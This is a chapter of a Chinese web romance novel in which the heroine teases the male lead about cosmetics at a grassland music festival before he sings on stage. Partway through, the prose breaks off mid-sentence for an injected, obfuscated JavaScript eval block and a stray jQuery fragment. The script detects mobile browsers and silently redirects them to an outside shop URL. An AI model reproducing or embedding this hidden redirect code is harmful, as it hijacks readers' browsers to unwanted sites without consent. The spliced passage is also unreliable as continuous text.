文趣网 > 都市小说 > 渣了男神的小叔 > 34. 草原第34天
    夜幕低垂,裹挟着草香的凉风本该四处游荡,穿梭在人声鼎沸的音乐节现场。

    台下荧光棒汇成了一片绚烂星海,映照在每一张年轻张扬的脸上。

    呐喊与欢呼层层叠叠地涌来,震得白书杳耳膜嗡嗡作响,额头上渗出细密的汗珠,也只是胡乱用纸巾按压下去。

    音乐节毕竟不同于那种井然有序的室内演唱会,没了座位的束缚,人与人之间贴得极近,磕磕碰碰在所难免。

    然而从开场到现在,白书杳却觉得周围仿佛自带结界。拥挤的人潮奇怪地绕开她,没人踩她的鞋,也没人撞她的肩膀。

    两首歌结束,她口干舌燥,将手搭在苏日娜肩膀上大口喘气:“有水吗?”

    一只手适时地伸过来,递过一瓶拧开的矿泉水。

    白书杳顺势接过,说了声谢谢,这才意识是墨岩铎递过来的。

    她眼珠子滴溜转了两圈,墨岩喜欢那种善解人意、小鸟依人的类型,刚刚玩的太疯忘了。

    她连忙收敛了刚才的豪放,尽量恢复矜持优雅的姿态小口喝水。

    “有镜子吗?”喝完水,她又问身边的苏日娜。

    墨岩铎像变戏法似的,递过来一面小镜子。

    白书杳眨眨眼,视线顺着他的手臂向上移,霓虹灯的映衬下,男人脸色晦暗不明,一动不动像个执行命令的机器人。

    他怎么会有镜子?

    “谢谢。”

    白书杳接过镜子,眼珠一转,得寸进尺地问苏日娜:“有气垫吗?”

    话音刚落,一个圆形的小盒子递到了她眼皮子底下。

    白书杳这回确信了,墨岩铎背后必有高人指点。

    她低头瞥了一眼那小盒子,哪是什么气垫,分明是粉饼。

    看来高人有个愚笨的徒弟。

    她起了逗弄的心思,故意刁难道:“我要眼影刷。”

    墨岩铎拿起地上的黑色挎包,借着不算明亮的光线埋头翻找。

    其实为了今天,他做了不少功课,墨泽礼夫妇的建议不太适用,苦思冥想下,决定去咨询为他说话的AI。

    果不其然,偶像剧里的强吻是撒糖,现实里强吻那是流氓。

    他至今无法理解秦晓居然吃那一套,还说什么女生都喜欢强势的,就他温吞的侄子,能强势得起来吗?

    墨岩铎从包里抽出一支刷子:“是这个吗?”

    “不是哦。”

    他又低下头继续找。

    草原夏夜虽凉爽,但这人挤人的活动区域实在闷热。

    墨岩铎汗腺发达,没翻两下,额头上的汗珠就开始大颗大颗地往下淌。

    “是这个吗?”

    “不是。”

    “这个?”

    “不是。”

    ……

    墨岩铎手指扒拉了两下,把包里所有的刷子都摆了出来,有些挫败:“不好意思,我好像没有准备眼影刷。”

    灯光下,女孩的笑容太过明媚。

    墨岩铎看出了她在耍自己,反而觉得狡黠的样子可爱极了,便没拆穿她:“我下次准备好吗?你先挑一个差不多的凑合用?”

    “这些化妆品都是新的,你从哪买来的?”白书杳拿起那个所谓的“气垫”好奇地问。

    “昨天去镇上买菜,路过一家化妆品店买的。”

    墨岩铎擦了擦额角的汗,眼神里带着一丝期待:“我知道这些可能和你平常用的不一样,但我不是送你,就是放包里备着。你看,今天是不是用上了?”

    快说我有进步。

    那双深邃的眼睛直勾勾地看着她,心里的话几乎要冲口而出,但作为三十岁的男人,他又觉得这般邀功太过矫情。

    白书杳从善如流地点点头,指腹轻轻摩挲着下巴,忍笑道:“可是你唯独没买补妆的气垫,反而买了三个散粉。”

    墨岩铎一愣:“嗯?”

    白书杳把自己包里的小盒子拿出来,认真科普:“看,这个正方形带粉扑的是粉质散粉,这两个圆形的是固状散粉。”

    说着,她打开其中一盒碾了两下,又打开手机手电筒照了照背面的生产日期:“果然。”

    墨岩铎上前一步,低着头凑近去看:“怎么了?”

    “你被骗了呗。”

    白书杳晃了晃手里的盒子:“这两个固状散粉还有一个月就过期了。店家看你不懂行,就把快过期的散粉忽悠给你了。”

    墨岩铎唇瓣抿成一条直线,他把散粉重新塞回包里,猛地拉上拉链:“我明天去找他。”

    那架势不像是要去换货,倒像是要去砸店。

    白书杳拍了拍他的肩膀,义气满满:“我支持你,我们一起去。”

    旁边的小陈叼着根火腿肠凑了过来,眼睛瞪得溜圆:“去哪里?”

    白书杳挑眉:“去伸张正义。”

    小陈立马从兜里掏出一袋辣条:“要来点补给吗?嫂子。”

    “我要!”白书杳刚伸手去接,半路杀出一只大手,横空将辣条夺走。

    白书杳精致的小脸瞬间垮了下来:“墨岩,我数三个数,快给我。”

    墨岩铎张了张嘴,看着她执拗又不开心的表情,把那句“对胃不好”硬生生咽了回去。

    他撕开包装袋,递过去:“这包装不好撕,我帮你打开。”

    “哼,这还差不多。”白书杳美滋滋地咬住辣条。

    她从小就被家里管着不让吃这种重油重辣的东西,以前只能偷偷和筱柚姐吃,现在没人管了,还不尽情享受?

    她没注意到,头顶上方一道视线正在凌迟小陈。

    那种渗入骨髓的寒意让小陈打了个哆嗦,赶紧转移话题:“一会儿有观众上台唱歌的环节,老大,你要不要来一首?”

    他还没说话,白书杳猛地抬头:“你会唱歌?”

    这下不仅小陈来了劲,连苏日娜和周铁也凑了过来,七嘴八舌地开始吹嘘。

    “当然了,墨岩十项全能。”

    “对,音体美全面开花。”

    “尤其是唱张国荣的歌,简直跟原唱一个味儿!”

    众人你一言我一语夸奖自家地里种出的白菜有多好。

    被围在中间的墨岩铎无声地叹了口气,一只小手搭在了他的手腕上。

    墨岩铎低头看着那只手,女孩的双眼在灯光的映衬下亮得惊人。

    果然,下一秒她就兴冲冲地说:“我想听,我想听!”

    墨岩铎揉了揉眼睛,有些不自在:“我唱歌一般,别听他们瞎说。”

    “我都唱过歌给你听,还唱了两次呢!你怎么就不能给我唱一首?”白书杳不依不饶。

    墨岩铎的耳尖倏地红透了。

    思绪不由得飘回

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787050|208127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到那一夜,喝醉后的她软靠在他怀里,执拗地想听她再唱一遍《秦淮景》。

    歌声如山间清泉流淌过耳尖,酥麻感刻进了骨肉,即便是现在想想,也有些心烦意乱。

    喉结上下滚动了一圈,墨岩铎暗自调整呼吸,低声道:“回去给你唱。”

    白书杳失望地“哦”了一声,继续低头对付手里的辣条。

    谁稀罕啊,切,肯定没她唱的好听。

    “哪位观众想展示自己?举个手好吗?让我看到你!”台上主持人的声音清亮,握着话筒调动着全场气氛。

    追光灯在观众席上来回切换,配合着有节奏的音乐,气氛紧张而刺激。

    白书杳的辣条吃完了,正嘶嘶哈哈地喝水。

    她对墨岩铎上台唱歌本就不抱希望。小陈他们惯会往自家老大脸上贴金,个个都是“墨吹”。

    如果他真唱得那么好,为什么不大大方方站出来,非要说什么回去唱?

    回去谁还有心思听啊。

    她百无聊赖地看了一圈,发现举手的观众还真不少,闹得她都有种想上去吼两嗓子冲动。

    随着主持人一声高呼“就是你!”追光灯彻底定格在了一处。

    白书杳还举着水瓶喝水,突然感觉一道强光劈头盖脸地打下来。

    她仰头一看,墨岩铎左手正高高擎起正垂眸看她。

    他身高接近两米,在一众观众中本就如鹤立鸡群。

    如今又举了手,主持人不看他看谁?

    白书杳立刻掏出手机,目送墨岩铎上台,准备记录下墨岩铎的“黑历史”。

    男人倚坐在凳子上,修长的双腿支在地面上,黑色T恤和黑色长裤将他衬得更加挺拔。他神情一如既往地淡漠深邃。

    若非灯光打着,他很像蛰伏在暗夜里的一只鹰。

    白书杳看着镜头里的男人,突然对他为何退役产生了好奇。

    经过那晚,她确信男人的腰没有任何问题。

    不是因伤退役,难道是心理疾病?

    耳边除了风声,还有观众交头接耳,虽然有些乱,但依稀能听出大家对墨岩铎颜值的赞叹和期待。

    正专注的白书杳没意识到自己的嘴角在缓缓上翘。

    心下也跟着期待。

    《当年情》的前奏响起了。

    原本嘈杂的观众席在熟悉的旋律响起瞬间,安静了下来。

    墨岩铎开口第一句时,白书杳举着手机的手猛地抖了一下。

    她抬起眼仿佛透过屏幕看到了一个历尽千帆、却永不屈服的灵魂。那种从眼里透出的沧桑与深情,穿过熙攘人群击中了她的心脏。

    异样的情愫她理不清原因。

    白书杳将这种莫名的情绪转嫁到歌声里。

    她虽生在千禧年,但一个时代的经典终究永垂不朽,她知道张国荣,听过他的歌,也看过他的电影。

    原本以为只是消遣,不知不觉间,她却沉浸在了歌声里。这一刻,她忘记了两人之间的恩怨纠葛,忘记了这段时间的所有不愉快。

    仿佛被拉入到了上个世纪90年代的香港街头,见证了那个风华绝代的巨星站在桥头转身回眸。

    桥上的风都格外偏爱他,发丝凌乱的恰到好处,潇洒张扬永远定格在电影镜头里。

    “我叫阿占,是个通天大盗,明天看报纸吧。”